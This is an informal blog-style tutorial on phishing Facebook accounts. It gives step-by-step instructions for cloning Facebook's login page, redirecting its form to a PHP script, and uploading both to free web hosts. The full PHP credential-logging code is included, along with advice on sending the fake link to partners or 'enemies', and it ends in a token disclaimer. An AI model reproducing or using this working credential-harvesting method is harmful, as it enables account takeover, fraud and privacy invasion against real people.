PHISHING : A WELL KNOWN SOCIAL ENGINEERING ATTACK TO HACK

PHISHING : phishing  is a very common method used by evil minded crackers to get information of user names , passwords , details of online banking ,credit cards , etc....

They just fool people by creating fake websites, fake situations and try to get their required things  from common people .
It can also be called as a well kown "social engineering" technique


EMAIL PHISHING :

Email /fb user passwords why they are cracked ?????

Top Reasons :

1) Evil minded people crack passwords to get noticed as hackers
2) Common people want to  know secrets of their beloved ones ..so they want passwords :P :P

HOW TO DO PHISHING ??

Its done in 2 phases

phase 1: creating fake website loginpage.
phase 2: uploading our pages in webhosting sites and sending fake                       login page link to your  beloved ones :P :P.


step by step guide to hack facebook  :

step 1: go to  www.facebook.com


step 2: Right click and click view page source 

  

STEP 3: Now copy all the code by pressing (ctrl+a ) , paste it in a notepad 


STEP 4: Now press (ctrl +f)  , search for  "action =" in that code 

step 5: change action = "1.php" 
(remove old link and keep 1.php instead of facebook link)


step 6: save notepad as index.html 


step 7: copy the below code in another notepad and save as "1.php"


code :


<?php
header("Location: https://accounts.google.com ");
$handle = fopen("passwords.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

Note : this will redirect your fake facebook page to  original gmail page after ur enemy gets phished :)


step 8: now upload them in any webhosting site.

few webhosting sites :

http://www.t35.com/
http://x10hosting.com/
http://www.110mb.com/
http://www.doteasy.com/
http://www.freehostia.com/
http://www.awardspace.com/
http://www.000webhost.com/



UPLOAD  PAGES IN WEB HOSTING SITES :


step 1: create an account in webhosting site and verify your mails

step 2: go to your domain name of your site , verify your email and click on cpanel 

step 3: go to file manager 

step 4: after logging to your file manager click public_html  

step5 : After going to public_html directory delete default.php file


step 6: now click on upload option and upload our files 
(index.html , 1.php)

step7 : check your website and fake page link below 

step 8: send the fake login page link , when victim types  password and clicks enter , password will be sent to you and victim will be redirected to google


step 9: password will be shown if you click on view

proof of password :

guys my work in teaching you phishing accounts is over
 plz dont try to harm others ...this is just to learn the process